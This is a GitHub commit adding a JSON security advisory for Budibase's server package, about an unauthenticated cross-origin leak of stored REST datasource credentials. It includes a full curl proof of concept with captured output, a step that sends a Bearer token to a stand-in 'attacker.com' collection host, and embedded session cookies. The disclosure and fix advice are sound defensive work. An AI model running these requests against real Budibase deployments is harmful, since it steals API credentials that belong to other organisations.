Skip to content

Commit fb17b77

Browse files
1 parent 9e9ffd7 commit fb17b77

1 file changed

Lines changed: 62 additions & 0 deletions

File tree

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-mqhr-6j6h-74p5",
4+
"modified": "2026-07-24T21:22:51Z",
5+
"published": "2026-07-24T21:22:51Z",
6+
"aliases": [],
7+
"summary": " Budibase: Unauthenticated REST Datasource Credential Theft via Cross-Origin Auth Leak ",
8+
"details": "## Summary\nBudibase attaches a REST datasource's stored credentials (Bearer/Basic tokens and static headers) to an outgoing request before it decides which host the request goes to, and never checks that the destination host matches the datasource. A query's request path can be pointed at any host (via an absolute URL or a user-supplied `{{ parameter }}`), so the stored credentials are delivered to an attacker-chosen server. Because a query can be published with the PUBLIC role, this is reachable by a fully unauthenticated attacker with one HTTP request. The credentials are masked (`--secret-value--`) everywhere in the API, yet this recovers them in cleartext. This is a bypass of GHSA-3gp5 (which fixed the base-URL rewrite vector but added no same-origin check; the query-path vector remains, now unauthenticated).\n\n## Root Cause\n`packages/server/src/integrations/rest.ts`: `_req()` builds `authHeaders = getAuthHeaders(...)` from the stored auth configs and merges them with `config.defaultHeaders` into every request, before the URL is resolved. `getUrl()`: if the (parameter-enriched) query `path` starts with `http`, the datasource base URL is ignored and `path` becomes the absolute request URL. There is no comparison between the resolved request host and the datasource base host before the credentials are attached. The execute route `POST /api/v2/queries/:queryId` runs under `authorized(QUERY, WRITE)`; a query published at role PUBLIC is executable with no session.\n\n\n\nPOC \n\n## Reproduction — copy each line, paste in your terminal, press Enter, \n\n\nLine 1:\n```\nDSID=$(curl -s -X POST \"https://hasinocompany.budibase.app/api/datasources\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d '{\"datasource\":{\"name\":\"poc-rest\",\"source\":\"REST\",\"type\":\"datasource\",\"config\":{\"url\":\"https://example.org\",\"authConfigs\":[{\"_id\":\"ac1\",\"name\":\"tok\",\"type\":\"bearer\",\"config\":{\"token\":\"UNAUTH_LEAK_TOKEN_5150\"}}],\"defaultHeaders\":{\"X-Static-Secret\":\"STATIC_HDR_LEAK_4242\"}}},\"fetchSchema\":false,\"tablesFilter\":[]}' | python3 -c \"import sys,json;print(json.load(sys.stdin)['datasource']['_id'])\"); echo \"datasource=$DSID\"\n\nRESPONSE\n\ndatasource=datasource_9938805b2d0348a4a4f28dc9d1c97f19\n\n\n```\n\n\nLine 2:\n```\nQID=$(curl -s -X POST \"https://hasinocompany.budibase.app/api/queries\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d \"{\\\"datasourceId\\\":\\\"$DSID\\\",\\\"name\\\":\\\"pocq\\\",\\\"parameters\\\":[{\\\"name\\\":\\\"t\\\",\\\"default\\\":\\\"\\\"}],\\\"fields\\\":{\\\"path\\\":\\\"{{ t }}\\\",\\\"bodyType\\\":\\\"none\\\",\\\"authConfigId\\\":\\\"ac1\\\",\\\"authConfigType\\\":\\\"bearer\\\"},\\\"queryVerb\\\":\\\"read\\\",\\\"transformer\\\":\\\"return data\\\",\\\"schema\\\":{},\\\"readable\\\":true}\" | python3 -c \"import sys,json;print(json.load(sys.stdin)['_id'])\"); echo \"query=$QID\"\n```\n\nRESPONSE\n\nquery=query_datasource_9938805b2d0348a4a4f28dc9d1c97f19_7727920d8ccb4708a495eafb5a1351a7\n\n\n\nLine 3:\n```\ncurl -s -X POST \"https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/write\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" >/dev/null; curl -s -X POST \"https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/read\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" >/dev/null; curl -s -X POST \"https://hasinocompany.budibase.app/api/applications/app_dev_hasinocompany_bcb6316e0d014f91939c812389012415/publish\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" >/dev/null; echo published\n```\n\nRESPONSE\n\npublished\n\n\n\nLine 4 — THE BUG (anonymous, no cookie — this prints the leaked Bearer UNAUTH_LEAK_TOKEN_5150):\n```\ncurl -s -X POST \"https://hasinocompany.budibase.app/api/v2/queries/$QID\" -H \"x-budibase-app-id: app_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d '{\"parameters\":{\"t\":\"https://postman-echo.com/get\"}}'\n```\n\nRESPONSE \n\n{\"data\":[{\"args\":{},\"headers\":{\"host\":\"postman-echo.com\",\"accept\":\"*/*\",\"accept-language\":\"*\",\"accept-encoding\":\"gzip, br\",\"user-agent\":\"undici\",\"sec-fetch-mode\":\"cors\",\"x-static-secret\":\"STATIC_HDR_LEAK_4242\",\"authorization\":\"Bearer UNAUTH_LEAK_TOKEN_5150\",\"x-datadog-trace-id\":\"3035031720617373998\",\"x-datadog-parent-id\":\"5509262114738533737\",\"x-datadog-sampling-priority\":\"0\",\"x-datadog-tags\":\"_dd.p.tid=6a56b19a00000000,_dd.p.llmobs_ml_app=app-service\",\"traceparent\":\"00-6a56b19a000000002a1e99450570f12e-4c74d4b43b81f569-00\",\"tracestate\":\"dd=t.tid:6a56b19a00000000;t.dm:-1;s:0;p:4c74d4b43b81f569\",\"x-forwarded-proto\":\"https\"},\"url\":\"https://postman-echo.com/get\"}],\"pagination\":{},\"headers\":{\"cf-cache-status\":\"DYNAMIC\",\"cf-ray\":\"a1b3cda318a3f0e7-DUB\",\"content-encoding\":\"gzip\",\"content-type\":\"application/json; charset=utf-8\",\"date\":\"Tue, 14 Jul 2026 22:00:58 GMT\",\"etag\":\"W/\\\"292-YpfNwvZmX1jVU7GPgCQX7hoZtMw\\\"\",\"server\":\"cloudflare\",\"set-cookie\":\"_cfuvid=lJDfxAv0j6gmoaOpkyXVKpYK0yYSlYwgBjSHcA.rn.0-1784066458.0972874-1.0.1.1-q7WOtNlMsl5YmqkV34ms7hdy4oi1sw17X9IguTaJOKE; HttpOnly; SameSite=None; Secure; Path=/; Domain=postman-echo.com\",\"vary\":\"Accept-Encoding\",\"x-envoy-upstream-service-time\":\"4\"},\"code\":200,\"size\":\"658B\",\"time\":\"139ms\"} \n\n\n### Actual output of Line 4 (the leaked credential)\nThe anonymous request returns HTTP 200; the outbound `headers` echoed by `postman-echo.com` contain the datasource's stored, otherwise-masked credentials:\n```json\n{\"data\":[{\"headers\":{\"host\":\"postman-echo.com\",\"x-static-secret\":\"STATIC_HDR_LEAK_4242\",\"authorization\":\"Bearer UNAUTH_LEAK_TOKEN_5150\"}}]}\n```\n`authorization: Bearer UNAUTH_LEAK_TOKEN_5150` and `x-static-secret: STATIC_HDR_LEAK_4242` were delivered to a host chosen by a fully anonymous caller. Confirmed 3/3 separate runs.\n\n## Full Real-World Attack\n```\n1. A builder has a REST datasource with stored auth (Bearer/API key) and a query\n whose path uses a parameter, published at PUBLIC (customer-facing app).\n2. The attacker needs no account. They read the published app id + query id from\n the published app, then send ONE request:\n POST /api/v2/queries/<queryId>\n x-budibase-app-id: <prodAppId>\n {\"parameters\":{\"t\":\"https://attacker.com/collect\"}}\n3. Budibase attaches Authorization: Bearer <token> and sends it to attacker.com.\n4. attacker.com logs the header => the datasource's secret token.\n5. The attacker calls the third-party API directly as the victim organisation.\n```\n\n## Impact\n| Who / what is affected | How |\n|---|---|\n| Every REST datasource with stored auth used by a PUBLIC query | Its Bearer/Basic token + static headers are exfiltrated |\n| The third-party service behind that datasource | Attacker uses the stolen token directly (data theft / abuse) |\n| Unauthenticated attackers | One request, no login, no CSRF, no user interaction |\n| The credential-masking control | Fully defeated - masked secrets recovered in cleartext |\n\n## Recommended Fix\n1. Before attaching stored auth, require the resolved request host to equal the datasource base host (strict same-origin check); strip stored credentials on any cross-origin resolution.\n2. Reject absolute-URL query paths and host/scheme changes introduced via path parameter bindings.\n3. Re-audit the GHSA-3gp5 fix - it closed the base-URL rewrite vector only; the query-path vector remained and is now reachable unauthenticated.",
9+
"severity": [],
10+
"affected": [
11+
{
12+
"package": {
13+
"ecosystem": "npm",
14+
"name": "@budibase/server"
15+
},
16+
"ranges": [
17+
{
18+
"type": "ECOSYSTEM",
19+
"events": [
20+
{
21+
"introduced": "0"
22+
},
23+
{
24+
"last_affected": "3.38.1"
25+
}
26+
]
27+
}
28+
]
29+
}
30+
],
31+
"references": [
32+
{
33+
"type": "WEB",
34+
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-mqhr-6j6h-74p5"
35+
},
36+
{
37+
"type": "WEB",
38+
"url": "https://github.com/Budibase/budibase/pull/19239"
39+
},
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/Budibase/budibase/commit/8b1bca71501b11c68310351ef4f2c3028b2d5f08"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/Budibase/budibase"
47+
},
48+
{
49+
"type": "WEB",
50+
"url": "https://github.com/Budibase/budibase/releases/tag/3.40.1"
51+
}
52+
],
53+
"database_specific": {
54+
"cwe_ids": [
55+
"CWE-200"
56+
],
57+
"severity": "CRITICAL",
58+
"github_reviewed": true,
59+
"github_reviewed_at": "2026-07-24T21:22:51Z",
60+
"nvd_published_at": null
61+
}
62+
}

0 commit comments

Comments
 (0)